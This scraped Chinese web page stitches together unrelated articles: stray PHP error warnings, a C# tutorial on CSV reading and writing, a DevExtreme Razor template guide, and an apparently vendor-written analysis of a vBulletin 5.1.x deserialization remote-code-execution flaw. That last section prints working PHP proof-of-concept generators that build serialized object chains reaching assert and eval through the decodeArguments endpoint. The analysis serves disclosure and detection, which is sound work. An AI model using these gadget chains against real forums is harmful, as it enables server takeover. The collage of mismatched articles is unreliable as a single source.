Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
目中經常遇到CSV文件的讀寫需求,其中的難點主要是CSV文件的解析。本文會介紹CsvHelper、TextFieldParser、正則表達式三種解析CSV文件的方法,順帶也會介紹一下CSV文件的寫方法。
在介紹CSV文件的讀寫方法前,我們需要了解一下CSV文件的格式。
一個簡單的CSV文件:
Test1,Test2,Test3,Test4,Test5,Test6
str1,str2,str3,str4,str5,str6
str1,str2,str3,str4,str5,str6
一個不簡單的CSV文件:
"Test1
"",""","Test2
"",""","Test3
"",""","Test4
"",""","Test5
"",""","Test6
"","""
" 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
23F32","
",,asd
" 中文,D23 ","3DFD4234""""""1232""1S2","ASD1"",""23,,,,213
23F32","
",,asd
你沒看錯,上面兩個都是CSV文件,都只有3行CSV數據。第二個文件多看一眼都是精神污染,但項目中無法避免會出現這種文件。
CSV文件沒有官方的標準,但一般項目都會遵守 RFC 4180 標準。這是一個非官方的標準,內容如下:
Each record is located on a separate line, delimited by a line break (CRLF).The last record in the file may or may not have an ending line break.There maybe an optional header line appearing as the first line of the file with the same format as normal record lines. This header will contain names corresponding to the fields in the file and should contain the same number of fields as the records in the rest of the file (the presence or absence of the header line should be indicated via the optional "header" parameter of this MIME type).Within the header and each record, there may be one or more fields, separated by commas. Each line should contain the same number of fields throughout the file. Spaces are considered part of a field and should not be ignored. The last field in the record must not be followed by a comma.Each field may or may not be enclosed in double quotes (however some programs, such as Microsoft Excel, do not use double quotes at all). If fields are not enclosed with double quotes, then double quotes may not appear inside the fields.Fields containing line breaks (CRLF), double quotes, and commas should be enclosed in double-quotes.If double-quotes are used to enclose fields, then a double-quote appearing inside a field must be escaped by preceding it with another double quote.
翻譯一下:
上面的標準可能比較拗口,我們對它進行一些簡化。要注意一下,簡化不是簡單的刪減規則,而是將類似的類似進行合并便于理解。
后面的代碼也會使用簡化標準,簡化標準如下:
在正式讀寫CSV文件前,我們需要先定義一個用于測試的Test類。代碼如下:
class Test
{
public string Test1{get;set;}
public string Test2 { get; set; }
public string Test3 { get; set; }
public string Test4 { get; set; }
public string Test5 { get; set; }
public string Test6 { get; set; }
//Parse方法會在自定義讀寫CSV文件時用到
public static Test Parse (string[]fields )
{
try
{
Test ret=new Test();
ret.Test1=fields[0];
ret.Test2=fields[1];
ret.Test3=fields[2];
ret.Test4=fields[3];
ret.Test5=fields[4];
ret.Test6=fields[5];
return ret;
}
catch (Exception)
{
//做一些異常處理,寫日志之類的
return null;
}
}
}
生成一些測試數據,代碼如下:
static void Main(string[] args)
{
//文件保存路徑
string path="tset.csv";
//清理之前的測試文件
File.Delete("tset.csv");
Test test=new Test();
test.Test1=" 中文,D23 ";
test.Test2="3DFD4234\"\"\"1232\"1S2";
test.Test3="ASD1\",\"23,,,,213\r23F32";
test.Test4="\r";
test.Test5=string.Empty;
test.Test6="asd";
//測試數據
var records=new List<Test> { test, test };
//寫CSV文件
/*
*直接把后面的寫CSV文件代碼復制到此處
*/
//讀CSV文件
/*
*直接把后面的讀CSV文件代碼復制到此處
*/
Console.ReadLine();
}
CsvHelper 是用于讀取和寫入 CSV 文件的庫,支持自定義類對象的讀寫。
github上標星最高的CSV文件讀寫C#庫,使用MS-PL、Apache 2.0開源協議。
使用NuGet下載CsvHelper,讀寫CSV文件的代碼如下:
//寫CSV文件
using (var writer=new StreamWriter(path))
using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
{
csv.WriteRecords(records);
}
using (var writer=new StreamWriter(path,true))
using (var csv=new CsvWriter(writer, CultureInfo.InvariantCulture))
{
//追加
foreach (var record in records)
{
csv.WriteRecord(record);
}
}
//讀CSV文件
using (var reader=new StreamReader(path))
using (var csv=new CsvReader(reader, CultureInfo.InvariantCulture))
{
records=csv.GetRecords<Test>().ToList();
//逐行讀取
//records.Add(csv.GetRecord<Test>());
}
如果你只想要拿來就能用的庫,那文章基本上到這里就結束了。
為了與CsvHelper區分,新建一個CsvFile類存放自定義讀寫CSV文件的代碼,最后會提供類的完整源碼。CsvFile類定義如下:
/// <summary>
/// CSV文件讀寫工具類
/// </summary>
public class CsvFile
{
#region 寫CSV文件
//具體代碼...
#endregion
#region 讀CSV文件(使用TextFieldParser)
//具體代碼...
#endregion
#region 讀CSV文件(使用正則表達式)
//具體代碼...
#endregion
}
根據簡化標準(具體標準內容見前文),寫CSV文件代碼如下:
#region 寫CSV文件
//字段數組轉為CSV記錄行
private static string FieldsToLine(IEnumerable<string> fields)
{
if (fields==null) return string.Empty;
fields=fields.Select(field=>
{
if (field==null) field=string.Empty;
//簡化標準,所有字段都加雙引號
field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));
//不簡化標準
//field=field.Replace("\"", "\"\"");
//if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
//{
// field=string.Format("\"{0}\"", field);
//}
return field;
});
string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
return line;
}
//默認的字段轉換方法
private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
{
IEnumerable<string> fields;
if (isTitle)
{
fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
}
else
{
fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
}
return fields;
}
/// <summary>
/// 寫CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="list">數據列表</param>
/// <param name="path">文件路徑</param>
/// <param name="append">追加記錄</param>
/// <param name="func">字段轉換方法</param>
/// <param name="defaultEncoding"></param>
public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
{
if (list==null || list.Count==0) return;
if (defaultEncoding==null)
{
defaultEncoding=Encoding.UTF8;
}
if (func==null)
{
func=GetObjFields;
}
if (!File.Exists(path)|| !append)
{
var fields=func(list[0], true);
string title=FieldsToLine(fields);
File.WriteAllText(path, title, defaultEncoding);
}
using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
{
list.ForEach(obj=>
{
var fields=func(obj, false);
string line=FieldsToLine(fields);
sw.Write(line);
});
}
}
#endregion
使用時,代碼如下:
//寫CSV文件
//使用自定義的字段轉換方法,也是文章開頭復雜CSV文件使用字段轉換方法
CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
{
IEnumerable<string> fields;
if (isTitle)
{
fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
}
else
{
fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
}
return fields;
}));
//使用默認的字段轉換方法
//CsvFile.Write(records, path);
你也可以使用默認的字段轉換方法,代碼如下:
CsvFile.Save(records, path);
TextFieldParser是VB中解析CSV文件的類,C#雖然沒有類似功能的類,不過可以調用VB的TextFieldParser來實現功能。
TextFieldParser解析CSV文件的代碼如下:
#region 讀CSV文件(使用TextFieldParser)
/// <summary>
/// 讀CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路徑</param>
/// <param name="func">字段解析規則</param>
/// <param name="defaultEncoding">文件編碼</param>
/// <returns></returns>
public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
if (defaultEncoding==null)
{
defaultEncoding=Encoding.UTF8;
}
List<T> list=new List<T>();
using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
{
parser.TextFieldType=FieldType.Delimited;
//設定逗號分隔符
parser.SetDelimiters(",");
//設定不忽略字段前后的空格
parser.TrimWhiteSpace=false;
bool isLine=false;
while (!parser.EndOfData)
{
string[] fields=parser.ReadFields();
if (isLine)
{
var obj=func(fields);
if (obj !=null) list.Add(obj);
}
else
{
//忽略標題行業
isLine=true;
}
}
}
return list;
}
#endregion
使用時,代碼如下:
//讀CSV文件
records=CsvFile.Read(path, Test.Parse);
如果你有一個問題,想用正則表達式來解決,那么你就有兩個問題了。
正則表達式有一定的學習門檻,而且學習后不經常使用就會忘記。正則表達式解決的大多數是一些不易變更需求的問題,這就導致一個穩定可用的正則表達式可以傳好幾代。
本節的正則表達式來自 《精通正則表達式(第3版)》 第6章 打造高效正則表達式——簡單的消除循環的例子,有興趣的可以去了解一下,表達式說明如下:
注:這本書最終版的解析CSV文件的正則表達式是Jave版的使用占有優先量詞取代固化分組的版本,也是百度上經常見到的版本。不過占有優先量詞在C#中有點問題,本人能力有限解決不了,所以使用了上圖的版本。不過,這兩版正則表達式性能上沒有差異。
正則表達式解析CSV文件代碼如下:
#region 讀CSV文件(使用正則表達式)
/// <summary>
/// 讀CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路徑</param>
/// <param name="func">字段解析規則</param>
/// <param name="defaultEncoding">文件編碼</param>
/// <returns></returns>
public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
List<T> list=new List<T>();
StringBuilder sbr=new StringBuilder(100);
Regex lineReg=new Regex("\"");
Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
Regex quotesReg=new Regex("\"\"");
bool isLine=false;
string line=string.Empty;
using (StreamReader sr=new StreamReader(path))
{
while (null !=(line=ReadLine(sr)))
{
sbr.Append(line);
string str=sbr.ToString();
//一個完整的CSV記錄行,它的雙引號一定是偶數
if (lineReg.Matches(sbr.ToString()).Count % 2==0)
{
if (isLine)
{
var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
var obj=func(fields.ToArray());
if (obj !=null) list.Add(obj);
}
else
{
//忽略標題行業
isLine=true;
}
sbr.Clear();
}
else
{
sbr.Append(Environment.NewLine);
}
}
}
if (sbr.Length > 0)
{
//有解析失敗的字符串,報錯或忽略
}
return list;
}
//重寫ReadLine方法,只有\r\n才是正確的一行
private static string ReadLine(StreamReader sr)
{
StringBuilder sbr=new StringBuilder();
char c;
int cInt;
while (-1 !=(cInt=sr.Read()))
{
c=(char)cInt;
if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
{
sbr.Remove(sbr.Length - 1, 1);
return sbr.ToString();
}
else
{
sbr.Append(c);
}
}
return sbr.Length>0?sbr.ToString():null;
}
private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
{
var fieldMath=fieldReg.Match(line);
List<string> fields=new List<string>();
while (fieldMath.Success)
{
string field;
if (fieldMath.Groups[1].Success)
{
field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
}
else
{
field=fieldMath.Groups[2].Value;
}
fields.Add(field);
fieldMath=fieldMath.NextMatch();
}
return fields;
}
#endregion
使用時代碼如下:
//讀CSV文件
records=CsvFile.Read_Regex(path, Test.Parse);
目前還未發現正則表達式解析有什么bug,不過還是不建議使用。
完整的CsvFile類代碼如下:
using Microsoft.VisualBasic.FileIO;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
namespace ConsoleApp4
{
/// <summary>
/// CSV文件讀寫工具類
/// </summary>
public class CsvFile
{
#region 寫CSV文件
//字段數組轉為CSV記錄行
private static string FieldsToLine(IEnumerable<string> fields)
{
if (fields==null) return string.Empty;
fields=fields.Select(field=>
{
if (field==null) field=string.Empty;
//所有字段都加雙引號
field=string.Format("\"{0}\"", field.Replace("\"", "\"\""));
//不簡化
//field=field.Replace("\"", "\"\"");
//if (field.IndexOfAny(new char[] { ',', '"', ' ', '\r' }) !=-1)
//{
// field=string.Format("\"{0}\"", field);
//}
return field;
});
string line=string.Format("{0}{1}", string.Join(",", fields), Environment.NewLine);
return line;
}
//默認的字段轉換方法
private static IEnumerable<string> GetObjFields<T>(T obj, bool isTitle) where T : class
{
IEnumerable<string> fields;
if (isTitle)
{
fields=obj.GetType().GetProperties().Select(pro=> pro.Name);
}
else
{
fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
}
return fields;
}
/// <summary>
/// 寫CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="list">數據列表</param>
/// <param name="path">文件路徑</param>
/// <param name="append">追加記錄</param>
/// <param name="func">字段轉換方法</param>
/// <param name="defaultEncoding"></param>
public static void Write<T>(List<T> list, string path,bool append=true, Func<T, bool, IEnumerable<string>> func=null, Encoding defaultEncoding=null) where T : class
{
if (list==null || list.Count==0) return;
if (defaultEncoding==null)
{
defaultEncoding=Encoding.UTF8;
}
if (func==null)
{
func=GetObjFields;
}
if (!File.Exists(path)|| !append)
{
var fields=func(list[0], true);
string title=FieldsToLine(fields);
File.WriteAllText(path, title, defaultEncoding);
}
using (StreamWriter sw=new StreamWriter(path, true, defaultEncoding))
{
list.ForEach(obj=>
{
var fields=func(obj, false);
string line=FieldsToLine(fields);
sw.Write(line);
});
}
}
#endregion
#region 讀CSV文件(使用TextFieldParser)
/// <summary>
/// 讀CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路徑</param>
/// <param name="func">字段解析規則</param>
/// <param name="defaultEncoding">文件編碼</param>
/// <returns></returns>
public static List<T> Read<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
if (defaultEncoding==null)
{
defaultEncoding=Encoding.UTF8;
}
List<T> list=new List<T>();
using (TextFieldParser parser=new TextFieldParser(path, defaultEncoding))
{
parser.TextFieldType=FieldType.Delimited;
//設定逗號分隔符
parser.SetDelimiters(",");
//設定不忽略字段前后的空格
parser.TrimWhiteSpace=false;
bool isLine=false;
while (!parser.EndOfData)
{
string[] fields=parser.ReadFields();
if (isLine)
{
var obj=func(fields);
if (obj !=null) list.Add(obj);
}
else
{
//忽略標題行業
isLine=true;
}
}
}
return list;
}
#endregion
#region 讀CSV文件(使用正則表達式)
/// <summary>
/// 讀CSV文件,默認第一行為標題
/// </summary>
/// <typeparam name="T"></typeparam>
/// <param name="path">文件路徑</param>
/// <param name="func">字段解析規則</param>
/// <param name="defaultEncoding">文件編碼</param>
/// <returns></returns>
public static List<T> Read_Regex<T>(string path, Func<string[], T> func, Encoding defaultEncoding=null) where T : class
{
List<T> list=new List<T>();
StringBuilder sbr=new StringBuilder(100);
Regex lineReg=new Regex("\"");
Regex fieldReg=new Regex("\\G(?:^|,)(?:\"((?>[^\"]*)(?>\"\"[^\"]*)*)\"|([^\",]*))");
Regex quotesReg=new Regex("\"\"");
bool isLine=false;
string line=string.Empty;
using (StreamReader sr=new StreamReader(path))
{
while (null !=(line=ReadLine(sr)))
{
sbr.Append(line);
string str=sbr.ToString();
//一個完整的CSV記錄行,它的雙引號一定是偶數
if (lineReg.Matches(sbr.ToString()).Count % 2==0)
{
if (isLine)
{
var fields=ParseCsvLine(sbr.ToString(), fieldReg, quotesReg).ToArray();
var obj=func(fields.ToArray());
if (obj !=null) list.Add(obj);
}
else
{
//忽略標題行業
isLine=true;
}
sbr.Clear();
}
else
{
sbr.Append(Environment.NewLine);
}
}
}
if (sbr.Length > 0)
{
//有解析失敗的字符串,報錯或忽略
}
return list;
}
//重寫ReadLine方法,只有\r\n才是正確的一行
private static string ReadLine(StreamReader sr)
{
StringBuilder sbr=new StringBuilder();
char c;
int cInt;
while (-1 !=(cInt=sr.Read()))
{
c=(char)cInt;
if (c=='\n' && sbr.Length > 0 && sbr[sbr.Length - 1]=='\r')
{
sbr.Remove(sbr.Length - 1, 1);
return sbr.ToString();
}
else
{
sbr.Append(c);
}
}
return sbr.Length>0?sbr.ToString():null;
}
private static List<string> ParseCsvLine(string line, Regex fieldReg, Regex quotesReg)
{
var fieldMath=fieldReg.Match(line);
List<string> fields=new List<string>();
while (fieldMath.Success)
{
string field;
if (fieldMath.Groups[1].Success)
{
field=quotesReg.Replace(fieldMath.Groups[1].Value, "\"");
}
else
{
field=fieldMath.Groups[2].Value;
}
fields.Add(field);
fieldMath=fieldMath.NextMatch();
}
return fields;
}
#endregion
}
}
使用方法如下:
//寫CSV文件
CsvFile.Write(records, path, true, new Func<Test, bool, IEnumerable<string>>((obj, isTitle)=>
{
IEnumerable<string> fields;
if (isTitle)
{
fields=obj.GetType().GetProperties().Select(pro=> pro.Name + Environment.NewLine + "\",\"");
}
else
{
fields=obj.GetType().GetProperties().Select(pro=> pro.GetValue(obj)?.ToString());
}
return fields;
}));
//讀CSV文件
records=CsvFile.Read(path, Test.Parse);
//讀CSV文件
records=CsvFile.Read_Regex(path, Test.Parse);
文章來自https://www.cnblogs.com/timefiles/p/CsvReadWrite.html
系列文章將為大家介紹如何實現和應用模板,模板允許您自定義控件部分(標題、單元格、項目等)的呈現方式。
DevExtreme Complete Subscription官方最新版免費下載試用,歷史版本下載,在線文檔和幫助文件下載-慧都網
使用 *Template() 方法定義模板,例如:
模板由 Razor 標記和可以使用參數的 ERB 樣式構造 (<% %>) 組成,要定義模板,請在控件的 *Template(RazorBlock templateContent) 方法中使用 @<text>? 塊。
注意:Razor VB:當您使用 @<text> 塊時:
Razor C#
@(Html.DevExtreme().List()
.DataSource(DataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)
Razor VB
@Code
Html.DevExtreme().List() _
.DataSource(DataSource) _
.ItemTemplate(Sub()
@<text>
<div><%- Name %></div>
</text>
End Sub) _
.Render()
End Code
List 控件綁定到以下數據源:
C#
object[] DataSource=new[] {
new { Name="John" },
new { Name="Jane" }
};
VB
Dim DataSource={
New With {.Name="John"},
New With {.name="Jane"}
}
您還可以在模板中使用 @Html,例如嵌套控件或訪問標準 HTML 幫助程序。
如果模板很短且不使用 Razor 構造(以 @ 開頭),則可以使用帶有 String 參數的 *Template 方法的速記重載:
Razor C#
@(Html.DevExtreme().List()
.DataSource(DataSource)
.ItemTemplate("<div><%- Name %></div>")
)
Razor VB
@(Html.DevExtreme().List() _
.DataSource(DataSource) _
.ItemTemplate("<div><%- Name %></div>")
)
您可以在控件聲明之外定義模板,這在以下情況下很有用:
Razor C#
@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(@<text>
@Html.Partial("_MyPopupContentTemplate")
</text>)
)
Razor VB
@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(Sub()
@<text>
@Html.Partial("_MyPopupContentTemplate")
</text>
End Sub) _
.Render()
End Code
Shared/_MyPopupContentTemplate.cshtml
@(Html.DevExtreme().List()
.DataSource(ListDataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)
Shared/_MyPopupContentTemplate.vbhtml
@Code
Html.DevExtreme().List() _
.DataSource(ListDataSource) _
.ItemTemplate(Sub()
@<text>
<div><%- Name %></div>
</text>
End Sub) _
.Render()
End Code
使用命名模板。
Razor C#
@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(new TemplateName("myPopupContentTemplate"))
)
@using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate")) {
@(Html.DevExtreme().List()
.DataSource(ListDataSource)
.ItemTemplate(@<text>
<div><%- Name %></div>
</text>)
)
}
Razor VB
@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(New TemplateName("myPopupContentTemplate")) _
.Render()
End Code
@Using (Html.DevExtreme().NamedTemplate("myPopupContentTemplate"))
@Code
Html.DevExtreme().List() _
.DataSource(ListDataSource) _
.ItemTemplate(Sub()
@<text>
<%- Name %>
</text>
End Sub) _
.Render()
End Code
End Using
可以在聲明控件或布局的同一 Razor 文件中聲明命名模板。
注意:
使用 Razor @helper 指令將模板標記提取到函數中。
Razor C#
@(Html.DevExtreme().Popup()
.ID("myPopup")
.ContentTemplate(@<text>
@MyPopup_List()
</text>)
)
@helper MyPopup_List()
{
@(Html.DevExtreme().List()
.ItemTemplate(@<text>
@MyPopup_List_Item()
</text>)
)
}
@helper MyPopup_List_Item()
{
<text>
<div><%- Name %></div>
</text>
}
Razor VB
@Code
Html.DevExtreme().Popup() _
.ID("myPopup") _
.ContentTemplate(Sub() Write(MyPopup_List())) _
.Render()
End Code
@helper MyPopup_List()
@(Html.DevExtreme().List() _
.ItemTemplate(Sub() Write(MyPopup_List_Item()))
)
End Helper
@helper MyPopup_List_Item()
@<text>
<div><%- Name %></div>
</text>
End Helper
DevExtreme
DevExtreme擁有高性能的HTML5 / JavaScript小部件集合,使您可以利用現代Web開發堆棧(包括React,Angular,ASP.NET Core,jQuery,Knockout等)構建交互式的Web應用程序。從Angular和Reac,到ASP.NET Core或Vue,DevExtreme包含全面的高性能和響應式UI小部件集合,可在傳統Web和下一代移動應用程序中使用。 該套件附帶功能齊全的數據網格、交互式圖表小部件、數據編輯器等。
Bulletin 是一個商用的論壇程序套件,在全球擁有數萬用戶且增長速度很快。該論壇采用PHP Web語言及MySQL數據庫。正是由于其用戶較多,其漏洞出現頻率較高,在綠盟科技漏洞庫(NSVD)中共有49條記錄,大部分是SQL注入漏洞。此次漏洞等級較高,為遠程代碼執行漏洞(RCE),理論上說攻擊者可執行任意代碼,甚至完全控制論壇 。
綠盟科技漏洞庫
可能的影響
該論壇程序在國外使用較多,國內使用較少,在綠盟科技廣譜平臺Seer系統中僅有50多條記錄;
此次漏洞的PoC已經開始在網絡流傳,已有國外媒體報道vBulletin官網479895用戶信息遭到泄露;
該論壇并沒有中文版本,國內流行較多的中文版本及破解版本,這些版本可能存在漏洞修復的問題;
受此影響的版本包括5.1.4~5.1.9
vBulletin在其ajax接口使用了反序列化函數unserialize。導致存在漏洞,可以覆蓋其上下文中使用的類的類變量,導致可以產生各類問題。
0X01 漏洞分析
1,漏洞本質問題
hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會被進行反序列化操作。并且攻擊者還可以控制傳入的$arguments的值,因此漏洞的全部演出從這里開始。
12345 | publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){... |
2,反序列化后對上下文變量覆蓋的利用
POC角度分析
對URL進行分解,path為vBulletin對參數進行路由轉換的結果,本質也是mvc調用,vBulletin處理的格式為ajax/api/[controller]/[method],也就是說此訪問頁面調用的是hook文件的decodeArgument方法。query內只有一個參數,參數的名稱為arguments,參數的值為一段序列化的代碼。
看下輸出序列化值的代碼
123456789101112131415161718192021 | <?phpclassvB_Database_MySQL{public$functions=array();publicfunction__construct(){$this->functions['free_result']='assert';}}classvB_dB_Result{protected$db;protected$recordset;publicfunction__construct(){$this->db=newvB_Database_MySQL();$this->recordset='print(\'Hello world!\')';}}printurlencode(serialize(newvB_dB_Result()))."\n";?> |
最終輸出的是 serialize(new vB_dB_Result())
的值,類vB_dB_Result定義了兩個protected變量,并且其構造函數對這兩個protected變量進行復制,$recordset賦值為一段字符串,從poc也可看出來,$recordset的值就是要執行的代碼片段。$db的賦值為vB_Database_MySQL,定義了一個數組類型的變量$functions,并給這個數組的free_result索引賦值為assert。因此可以對此進行下小結,vBulletin通過對傳值進行反序列化操作,可以對其執行上下文中的變量進行覆蓋。覆蓋后,會產生代碼執行漏洞。
代碼角度分析
首先進入hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會被進行反序列化操作。變量$args會被賦值為vB_Database_Result類。
12345678910 | publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){$result='';foreach($argsAS$varname=>$value){$result.=$varname;... |
接著進入foreach函數,由于$args為對象數據結構,并且當前類(vB_Database_Result類)implements于Iterator接口,因此當php在遍歷對象$args時,便首先會調用其rewind()方法。[foreach遍歷對象][1],[迭代器遍歷][2]。以上兩個鏈接詳細講解了php遍歷對象操作的細節。
12345678910 | publicfunctiondecodeArguments($arguments){if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;... |
然后跟入result.php的vB_Database_Result類的rewind()方法,此方法會調用當前類內的類變量$db的free_result方法,并且為其傳入類變量$recordset的值。
123456789101112 | publicfunctionrewind(){if($this->bof){return;}if($this->recordset){=》$this->db->free_result($this->recordset);}... |
最后跟入database.php的vB_Database類的free_result方法,由于控制了當前類(vB_Database類)的變量$functions[‘free_result’],和傳入的$queryresult,因此此處達成了動態函數執行,漏洞利用至此結束。
12345 | functionfree_result($queryresult){$this->sql='';=》return@$this->functions['free_result']($queryresult);} |
3,反序列化后利用魔術方法RCE的利用
POC角度分析
同理上文的路徑分析。
看下輸出序列化值的代碼
12345678910111213141516171819202122232425262728 | <?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}classvB_View_AJAXHTML{public$tmpfile;protected$content;publicfunction__construct(){$this->content=newvB5_Template();}}classvB_vURL{public$tmpfile;publicfunction__construct(){$this->tmpfile=newvB_View_AJAXHTML();}}printurlencode(serialize(newvB_vURL()))."\n";?> |
最終輸出的是 serialize(new vB_vURL())
的值,向類vB_vURL注入了一個public變量$temfile,并且賦值為類vB_View_AJAXHTML,而類vB_View_AJAXHTML的構造函數中,向其類內對象$content賦值類vB5_Template,最終的利用代碼在類vB5_Template中$template和$registered中,含義分別是調用模板widget_php和$registered[‘widgetConfig’]的值為利用代碼。
代碼角度分析
首先進入hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會被進行反序列化操作。變量$args會被賦值為vB_vURL類。
1234567891011121314151617181920212223 | publicfunctiondecodeArguments($arguments){=>if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;if(is_array($value)){$this->decodeLevel($result,$value,'=');}$result.="\n";}return$result;}return'';} |
在foreach中,由于$args為對象數據結構,并且當前類(vB_vURL類)并沒有implements于Iterator接口,因此當php在遍歷對象$args時,只是會遍歷vB_vURL類的public變量,不會產生漏洞。
由于要進行return操作,因此便出發了當前類(vB_vURL類)的析構函數。
1234567 | function__destruct(){=>if(file_exists($this->tmpfile)){@unlink($this->tmpfile);}} |
由于為其$tmpfile賦值為一個對象,file_exists方法會試圖把類轉化為字符串,因此觸發了$tmpfile對象的__toString()方法。(**由于傳入的是vB_View_AJAXHTML類,vB_View_AJAXHTML類繼承于vB_View類,因此觸發的是vB_View類的__toString方法**)
123456789101112 | publicfunction__toString(){try{=>return$this->render();}catch(vB_Exception$e){//If debug, return the error, elsereturn'';}} |
由上文可知,當前$this對象其實還是vB_View_AJAXHTML類的對象,因此進入了vB_View_AJAXHTML類的render()方法,由于定義了vB_View_AJAXHTML類的$content類對象。
12345678 | publicfunctionrender($send_content_headers=false){...if($this->content){=》$xml->add_tag('html',$this->content->render());} |
類對象$content已經被賦值為vB5_Template類對象,因此會進入vB5_Template類的render()方法。
1234567891011121314 | publicfunctionrender($isParentTemplate=true,$isAjaxTemplateRender=false){$this->register('user',$user,true);extract(self::$globalRegistered,EXTR_SKIP|EXTR_REFS);=》extract($this->registered,EXTR_OVERWRITE|EXTR_REFS);...$templateCache=vB5_Template_Cache::instance();=》$templateCode=$templateCache->getTemplate($this->template);if($templateCache->isTemplateText()){=》@eval($templateCode);} |
vB5_Template類的render()方法,此方法會執行extract()方法和eval()方法,并且都可以控制傳入的參數,因此會導致代碼執行。再看一次poc。
12345678910 | <?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}} |
也就是說,目前我們控制兩個關鍵點。
要執行的模板
模板需要的參數
此時代碼已經覆蓋了$registered變量的widgetConfig索引,因此會把數組$widgetConfig注冊到全局變量內,其var_dump為
12 | array(size=1)'code'=>string'print_r('hello manning');die();'(length=31) |
然后模板widget_php存在
1 | $evaledPHP=vB5_Template_Runtime::parseAction('bbcode','evalCode',$widgetConfig['code']); |
因此,導致代碼執行。
0X02 漏洞總結
vBulletin 5系列通殺的代碼執行漏洞,無難度getshell。這個漏洞可以說是php反序列化操作的最佳反面教程,講述了使用反序列化不當,造成的嚴重后果。既可覆蓋代碼的上下文進行RCE,又可利用傳統的方式在魔術方法中進行RCE。 影響范圍個人評價為“高”,危害性個人評價為“高”,vBulletin在全球的使用范圍非常廣,此漏洞在vBulletin 5版本通殺。
0x03 漏洞檢測
以綠盟WEB應用漏洞掃描系統(NSFOCUS Web Vulnerability Scanning System,簡稱:NSFOCUS WVSS)為例,對業務系統部署WVSS,在簡單的配置后,即可獲得全面快速的檢測能力。該系統可自動獲取網站包含的相關信息,并全面模擬網站訪問的各種行為,比如按鈕點擊、鼠標移動、表單復雜填充等,通過內建的”安全模型”檢測Web應用系統潛在的各種漏洞,同時為用戶構建從急到緩的修補流程,滿足安全檢查工作中所需要的高效性和準確性。目前漏洞相關檢測產品的升級情況如下:
產品名稱 | 功能 | 升級后的版本號 | 時間 |
---|---|---|---|
WEB應用漏洞掃描系統(WVSS) | 檢測Web應用系統潛在的各種漏洞 | V6.0R03F00.20 | 本周 |
遠程安全評估系統(RSAS) | 檢測網絡中的各類脆弱性風險 | V6.0R02F00.0120 | 下周 |
升級辦法
綠盟科技已在軟件升級公告中提供規則升級包,規則可以通過產品界面的在線升級進行。如果您的業務系統暫時還無法升級規則包,那么可以在軟件升級頁面中,找到對應的產品,通過下載升級包,以離線方式進行升級。
相關升級信息請訪問:
安全產品介紹:http://www.nsfocus.com.cn/1_solution/1_2_1.html
產品升級公告:http://update.nsfocus.com/
開發交流
